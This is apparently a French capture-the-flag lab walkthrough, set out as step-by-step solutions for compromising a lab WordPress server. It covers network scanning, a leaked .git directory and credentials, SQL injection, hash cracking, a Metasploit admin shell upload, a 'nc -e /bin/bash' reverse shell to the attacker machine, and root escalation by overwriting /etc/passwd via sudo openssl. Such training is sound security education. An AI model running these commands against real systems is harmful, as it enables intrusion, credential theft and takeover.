Voir la solution 1|||text|||Utilises le scan approprié de Nmap pour découvrir les machines actives sur le réseau 192.168.56.0/24|||0|||Hide

La syntaxe :
```bash
┌──(kali㉿kali)-[~]
└─$ nmap -sn 192.168.56.0/24
```

```alert info
 Que fait exactement cette commande ?

 Cette commande va scanner notre réseau cible, ici 192.168.56.0/24, pour **détecter les machines actives**. 

 L'option `-sn` est une option qui indique à Nmap de se concentrer sur la détection des hôtes sans se lancer dans un balayage de ports.

 Une fois la commande exécutée, Nmap va te révéler une liste d'adresses IP actives.
```

Voir la solution 2|||text|||Tu aurais aussi pu utiliser l'outil fping pour découvrir les machines actives sur le réseau 192.168.56.0/24|||0|||Hide

La syntaxe :
```bash
┌──(kali㉿kali)-[~]
└─$ fping -a -g 192.168.56.1 192.168.56.254 > hotes.txt
``` 
```alert info
`-a` = hôtes actifs
`-g` = définition de la plage réseau à scanner

Tu te retrouves avec un fichier `hotes.txt` qui contient la liste des hôtes actifs sur ton réseau :
`192.168.56.1` : la passerelle
`192.168.56.50` : la machine cible
`192.168.56.128` : la machine d'attaque
```

Voir la solution|||text||||||0|||Hide

La syntaxe est la suivante :
```bash
┌──(kali㉿kali)-[~]
└─$ nmap -sT -p- -Pn 192.168.56.50
```
```alert info
`-s` : précise le type de scan
`T` : scan TCP Connect
`-p-` : scan de l'intégralité des ports (à la place des 1000 par défaut)
`-Pn` : désactive la découverte de l'hôte. Cette option indique de ne pas faire de ping sur la cible, car nous savons déjà qu'elle est en ligne.
```

Voir la solution|||text||||||0|||Hide

La syntaxe est la suivante :
```bash
┌──(kali㉿kali)-[~]
└─$ nmap -sVC -n -top-ports 100 -Pn 192.168.56.50
```

```alert info
Informations sur les options utilisées :
`-n` : empêche la résolution DNS, ce qui accélère le scan en se concentrant uniquement sur les adresses IP.
`-sVC` : effectue un scan de versions des services détectés et utilise des scripts Nmap par défaut pour plus d'informations.
`--top-ports 100` : examine les 100 ports les plus couramment utilisés, ce qui est souvent suffisant pour trouver des points d'entrée intéressants.
`-Pn` : ne pas faire de ping sur la cible, car nous savons déjà qu'elle est en ligne.
```

Voir la solution 1|||text||||||0|||Hide

La syntaxe est la suivante :
```bash
┌──(kali㉿kali)-[~]
└─$ wget -r http://192.168.56.50/.git
```

Voir la solution 2|||text||||||0|||Hide

Nous aurions pu aussi utiliser cette commande :

```bash
┌──(kali㉿kali)-[~]
└─$ wget -m http://192.168.56.50/.git
```
```alert info
`--mirror` ou `-m` : Cette option permet de copier intégralement le site comme un "miroir", c'est comme si tu prenais une photocopie du répertoire Git en préservant sa structure originale. 
Le man de wget explique que cette option active la récursivité et l'horodatage, définit une profondeur de récursivité infinie et conserve les listes de répertoires FTP.  
Elle est actuellement équivalente aux options combinées `-r` ou `--recursive`, `-N` ou `--timestamping`, `-l` ou `--level inf` et `--no-remove-listing`.
```

Voir la solution|||text||||||0|||Hide

Place toi dans le répertoire `192.168.56.50` téléchargé, puis utilises la commande suivante pour restaurer tous les fichiers du répertoire de travail à leur dernier état dans le dépôt Git :

```bash
┌──(kali㉿kali)-[~]
└─$ cd 192.168.56.50

┌──(kali㉿kali)-[~/192.168.56.50]
└─$ git checkout .
2625 chemins mis à jour depuis l'index 

```
```alert info
Compare le nombre de fichiers/répertoire avec la sortie précédente de `ls -al`. Une multitude d'éléments sont désormais accéssibles.
```

Voir la solution|||text||||||0|||Hide

Le fichier `TODO_staff.txt` semble être une bonne piste. On va afficher son contenu :

```bash
┌──(kali㉿kali)-[~/192.168.56.50]
└─$ cat TODO_staff.txt

DONE
Créer le compte contributeur du prestataire et lui envoyer les identifiants (contributor:Afd9ky0xz6jrD26eT9gx2w)

WIP
Finir l'installation et la configuration des plugins

TODO
Change le mot de passe de l'administrateur
Nettoyer le répertoire web (.git + TOTO_staff.txt)
```

Voir la solution|||text||||||0|||Hide
L'URL pour se connecter à la page d’administration de WordPress est :

[http://192.168.56.50/wp-admin](http://192.168.56.50/wp-admin)

Voir la solution|||text||||||0|||Hide

La syntaxe est la suivante :
```bash
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://192.168.56.50
```

Voir la solution|||text||||||0|||Hide
D'après une recherche Web, nous avons pu trouver un tutoriel qui permet d'exploiter le plugin à travers une **injection SQL** :

![](images/012-etape-4.png)

![](images/013-etape-4.png)

```alert info
Remarque que ce site web mentionne le numéro CVE : CVE-2021-24506 et qu'il indique aussi sa sévérité CVSS : 9.6 (critical)
```

Voir la solution|||text||||||0|||Hide

* Crée un nouveau article :
![](images/014-etape-4.png)

```spacer small
```

* Ajoute le code dans le corps de l’article et clique sur le bouton **Preview** :
![](images/015-etape-4.png)

```spacer small
```

* Du texte apparaît, met le de côté :
![](images/016-etape-4.png)

Voir la solution|||text||||||0|||Hide
En faisant tes recherches, tu as sûrement compris que pour tenter un cassage de hash avec hashcat il faut au préalable trouver plusieurs éléments :
* **l’algorithme qui a été utilisé pour générer le hash** : En lançant la commande `hashcat --help` tu peux constater qu’il en existe énormément :
![](images/017-etape-4.png)

* D'après cet algorithme, il faut en déduire la méthode qui sera utilisée par hashcat
* Hashcat a aussi besoin d'une liste de mots de passe à passer en option pour comparer leur hash avec le hash de notre mot de passe secret.

_Les éléments cités sont nécessaires pour un type d'attaque particulier : l'attaque par dictionnaire. Mais Hashcat permet de réaliser aussi d'autres types d'attaque de mot de passe. Jette un oeil à [ce site](https://www.malekal.com/hashcat-cracker-des-hashs-empreintes-md5-sha1-sha256/) pour en apprendre un peu plus._

Voir la solution 1|||text||||||0|||Hide
Tu peux peut-être commencer tes recherches en tapant `$P$` dans un moteur de recherche ...

Le premier résultat trouvé sur internet nous a amené sur cette conversation de Stack Overflow où qqn nous dit que le hash commençant par `$P$` est du type `PHpass` :
![](images/018-etape-4.png)
```spacer small
```
![](images/019-etape-4.png)
```spacer small
```
![](images/020-etape-4.png)

Voir la solution 2|||text||||||0|||Hide
L’outil `hashid` directement inclus dans Kali Linux permet aussi de déterminer le type d'algorithme de hashage utilisé :

```bash
┌──(kali㉿kali)-[~/192.168.56.50]
└─$ hashid '$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1'
Analyzing '$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1'
[+] Wordpress ≥ v2.6.2
[+] Joomla ≥ v2.5.18
[+] PHPass' Portable Hash
```

L’option `-m` de **hashid** permet d’afficher directement le **mode hashcat** qui sera utilisé pour tenter le cassage de hash :

```bash
┌──(kali㉿kali)-[~/192.168.56.50]
└─$ hashid -m '$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1'
Analyzing '$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1'
[+] Wordpress ≥ v2.6.2 [Hashcat Mode: 400]
[+] Joomla ≥ v2.5.18 [Hashcat Mode: 400]
[+] PHPass' Portable Hash [Hashcat Mode: 400]
```

Voir la solution|||text||||||0|||Hide

Une simple recherche Internet nous a fourni beaucoup de résultats à exploiter.

La wordlist que nous allons utiliser est celle nommée `rockyou.txt`, présente dans `/usr/share/wordlists` :

```bash
┌──(kali㉿kali)-[~]
└─$ ls -l /usr/share/wordlists
total 52108
...
-rw-r--r-- 1 root root 53357329 12 mai    2023 rockyou.txt.gz
...
```

Voir la solution 1|||text||||||0|||Hide
Tout d’abord il faut copier le hash dans un fichier texte que nous nommerons `hash.txt`. 

Pour cela nous utilisons l’éditeur de texte nano :
```bash
┌──(kali㉿kali)-[~/192.168.56.50]
└─$ cat hash.txt
$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1
```

Ensuite nous pouvons lancer l’attaque par dictionnaire :
```bash
┌──(kali㉿kali)-[~/192.168.56.50]
└─$ hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt.gz
```

Voir la solution|||text||||||0|||Hide
Après avoir démarré Metasploit avec `msfconsole` tu peux rechercher des exploits en les filtrants par mot clé :

```bash
┌──(kali㉿kali)-[~]
└─$ msfconsole
```

```bash
msf6 > search exploit wordpress admin
```
```alert info
Tu peux constater qu’un résultat matche sur les trois termes `exploit`, `wordpress` et `admin` :

![](images/022-etape-4.png)

```

Voir la solution|||text||||||0|||Hide

1. Nous commençons par nous connecter à Metasploit avec :
```bash
┌──(root㉿kali)-[~]
└─# msfconsole
```

2. Ensuite nous sélectionnons le module **wp_admin_shell_upload** avec cette commande :
```bash
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
```

3. On peu afficher des informations sur le module sélectionné avec la commande `info` :
```bash
msf6 exploit (unix/webapp/wp_admin_shell_upload) > info
```
La section **Description** explique que : "ce module génère un plugin, y insère la charge utile (payload) et la télécharge sur un serveur exécutant WordPress, à condition que des identifiants d'administrateur valides soient utilisés."

4. Nous configurons les paramètres de l’exploit de cette manière  :
```bash
msf6 exploit (unix/webapp/wp_admin_shell_upload) > set USERNAME admin
msf6 exploit (unix/webapp/wp_admin_shell_upload) > set PASSWORD spidermonkey
msf6 exploit (unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.56.50
msf6 exploit (unix/webapp/wp_admin_shell_upload) > set LHOST 192.168.56.128
msf6 exploit (unix/webapp/wp_admin_shell_upload) > set LPORT 443
```
```alert info
Explication des options :
`USERNAME` : spécifique le nom d'utilisateur que l'attaque va utiliser pour se connecter à l'interface d'administration de WordPress
`PASSWORD` : défini le mot de passe associé à l'utilisateur spécifié
`RHOSTS` : (Remote Hosts) indique l'adresse IP de la cible
`LHOST` : (Local Host) est l'adresse IP de la machine de l'attaquant (la machine où Metasploit tourne, donc ta machine Kali Linux)
`LPORT` : (Local Port) est le port sur lequel l'attaquant va écouter pour recevoir la connexion inversée de la cible après l'exécution de l'exploit
```

5. Et enfin, nous utilisons la commande `exploit` pour lancer notre attaque :

```bash
msf6 exploit (unix/webapp/wp_admin_shell_upload) > exploit
```

![](images/023-etape-4.png)

┌──(kali㉿kali)-[~]
└─$ stty -a
speed 38400 baud; rows 24; columns 80; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>;
eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R;
werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff
-iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt
echoctl echoke -flusho -extproc

┌──(kali㉿kali)-[~]
└─$ nc -vlnp 443
listening on [any] 443 ...

nc -e /bin/bash 192.168.56.128 443

python3 -c 'import pty;pty.spawn("/bin/bash")'

stty raw -echo; fg

www-data@exam:$ export TERM=xterm
www-data@exam:$ stty rows 24 columns 80

Voir la solution 1|||text||||||0|||Hide
Pour lister les fichiers pertinents appartenant à www-data nous pouvons utiliser la commande suivante :

```bash
www-data@exam:$ find / -type f -user www-data -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" -not -path "/var/www/html/*" 2>/dev/null

/var/www/flag.txt
/var/mail/www-data
```
```alert info
Cette commande fait ce qui suit :

* `find /` : Commence la recherche à partir de la racine du système de fichiers.
* `-type f` : Recherche uniquement les fichiers (et non les répertoires ou autres types d'objets).
* `-user www-dataè  : Filtre pour ne trouver que les fichiers appartenant à l'utilisateur www-data.
* `-not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" -not -path "/var/www/html/*"` : Exclut les fichiers situés dans les chemins spécifiés, qui sont généralement des répertoires système ou des emplacements où www-data est susceptible d'avoir de nombreux fichiers non pertinents pour une recherche généralisée.
* `2>/dev/null` : Redirige les messages d'erreur vers /dev/null, ce qui signifie que les erreurs d'accès (par exemple, les permissions refusées) ne seront pas affichées.
```

Voir la solution 2|||text||||||0|||Hide
Une autre commande un peu plus complexe aurait été :

```bash
www-data@exam:$ find / -type f -user `whoami` 2>/dev/null | egrep -v '^/(proc|sys|run|var/www/html)/'

sh: 0: getcwd() failed: No such file or directory
/var/www/flag.txt
/var/mail/www-data
```

```alert info
Cette commande utilise plusieurs outils du système Linux pour rechercher des fichiers spécifiques sur ton ordinateur. 

Décortiquons-la pour la comprendre étape par étape :
* `find / -type f -user `whoami`` :
   * `find /` commence une recherche à partir de la racine (/) de ton système de fichiers.
   * `-type f` indique à find de ne chercher que les fichiers (et non les répertoires, par exemple).
   * `-user `whoami`` limite la recherche aux fichiers appartenant à l'utilisateur courant.

* `2>/dev/null` :
   * Cette partie de la commande redirige (avec ``>`) les erreurs (représentées par `2`) vers `/dev/null`, un emplacement spécial qui "absorbe" tout ce qu'on lui envoie, en supprimant les erreurs afin qu'elles ne s'affichent pas à l'écran.

* `| egrep -v '^/(proc|sys|run|var/www/html)/'` :
   * Le symbole `|` est un "pipe". Il prend la sortie de la commande précédente et la passe comme entrée à la commande suivante.
   * `egrep` est un outil de recherche de texte qui utilise des expressions régulières (un moyen puissant et flexible de chercher des motifs dans du texte).
   * `-v` inverse le comportement de `egrep`, lui faisant afficher toutes les lignes qui **ne correspondent pas** au motif donné.
   * `'^/(proc|sys|run|var/www/html)/'` est une expression régulière qui correspond aux chemins commençant par `/proc`, `/sys`, `/run`, ou `/var/www/html`. Le `^` indique le début d'une ligne. En utilisant `-v` avec cette expression, egrep exclut tous les fichiers se trouvant dans ces répertoires de ses résultats.
```

Voir la solution|||text||||||0|||Hide
Nous vérifions le contenu du fichier **wp-config.php**

```bash
www-data@exam:$ cat /var/www/html/wp-config.php
```
```alert info
En parcourant ce fichier, on tombe sur une information très importante :
![](images/033-etape-4.png)
```

Voir la solution|||text||||||0|||Hide
Pour afficher les entrées de la base de données des mots de passe de tous les utilisateurs du système (y compris les utilisateurs systèmes et les utilisateurs normaux) nous lançons la commande :

```bash
www-data@exam:$ getent passwd
```
```alert info
Voici ce que signifie chaque partie de la sortie (séparée par les deux points `:`) :
* **Nom d'utilisateur** : C'est le nom d'identification de l'utilisateur sur le système.
* **Mot de passe chiffré** : Affiche généralement un 'x' ou un '*', indiquant que le mot de passe réel est stocké de manière sécurisée dans un autre fichier (/etc/shadow), auquel seuls les utilisateurs privilégiés ont accès.
* **UID (User ID)** : C'est l'identifiant numérique unique de l'utilisateur. Par exemple, l'UID pour l'utilisateur root est toujours 0.
* **GID (Group ID)** : C'est l'identifiant numérique du groupe principal de l'utilisateur.
* **Commentaire/GECOS** : Ce champ contient généralement le nom complet de l'utilisateur ou d'autres informations comme le numéro de téléphone, etc.
* **Répertoire personnel** : Chemin vers le répertoire personnel de l'utilisateur.
* **Shell de connexion** : Le programme de shell qui est lancé à la connexion de l'utilisateur. Par exemple, /bin/bash ou /bin/sh.
```

Voir la solution|||text||||||0|||Hide
Nous essayons de nous connecter avec l’utilisateur `user` et le mot de passe trouvé précédemment dans le fichier `wp-config.php` :

```bash
www-data@exam:$ su user
Password:
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
user@exam:$
```

Voir la solution|||text||||||0|||Hide
Nous nous rendons dans le répertoire personnel de **user** à l’emplacement `/home/user/`, et nous utilisons la commande `ls` afin d’afficher le contenu du répertoire :

```bash
user@exam:$ cd ~
user@exam:~$ ls -al
total 28
drwxr-xr-x 2 user user 4096 Sep 22 13:25 .
drwxr-xr-x 3 root root 4096 Oct 25  2023 ..
-rw-r--r-- 1 user user 1708 Oct 25  2023 .bash_history
-rw-r--r-- 1 user user  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 user user 3526 Apr 23  2023 .bashrc
-r-------- 1 user user   33 Oct 25  2023 flag.txt
-rw-r--r-- 1 user user  807 Apr 23  2023 .profile
```

Voir la solution|||text||||||0|||Hide

1. L’attaque va consister à supprimer le contenu de `/etc/passwd` qui contient tous les utilisateurs du système.
Pour que le système soit encore fonctionnel après l’attaque, tu devrais copier le contenu de `/etc/passwd` et le mettre de côté pour pouvoir le restaurer ensuite quand tu auras obtenu les droits root :

```bash
user@exam:~$ cat /etc/passwd > /home/user/passwd_backup.txt
```

2. La commande d’attaque est celle-ci :
```bash
user@exam:~$ LFILE=/etc/passwd
user@exam:~$ TF=$(mktemp)
user@exam:~$ echo "data::0:0:root:/root:/bin/bash" > $TF
user@exam:~$ sudo openssl enc -in "$TF" -out "$LFILE"
[sudo] password for user: 
user@exam:~$
```

```alert info
Explication des commandes :
* **Préparation de l'environnement** : Tu utilises d'abord la variable `LFILE` pour spécifier le chemin du fichier que tu vas modifier, ici `/etc/passwd`.

* **Création d'un utilisateur root temporaire** : Tu crées un fichier temporaire avec `mktemp`, puis y insére une nouvelle entrée pour un utilisateur qui a des privilèges root en utilisant `echo "data::0:0:root:/root:/bin/bash" > $TF `. Cette entrée crée un utilisateur sans mot de passe (data), avec l'UID et le GID à 0 (root), et un shell bash.

* **Écriture dans `/etc/passwd`** : Finalement, avec `sudo openssl enc -in "$TF" -out "$LFILE"`, tu écris le contenu du fichier temporaire dans `/etc/passwd` ajoutant un utilisateur avec des droits root.

* **Password for user:** : renseigne ici le mot de passe de l'utilisateur `user` trouvé précédemment.
```

Voir la solution|||text||||||0|||Hide

La syntaxe est la suivante :
```bash
user@exam:~$ su data
data@exam:/home/user# groups
root
data@exam:/home/user# cat /home/user/passwd_backup.txt >> /etc/passwd
```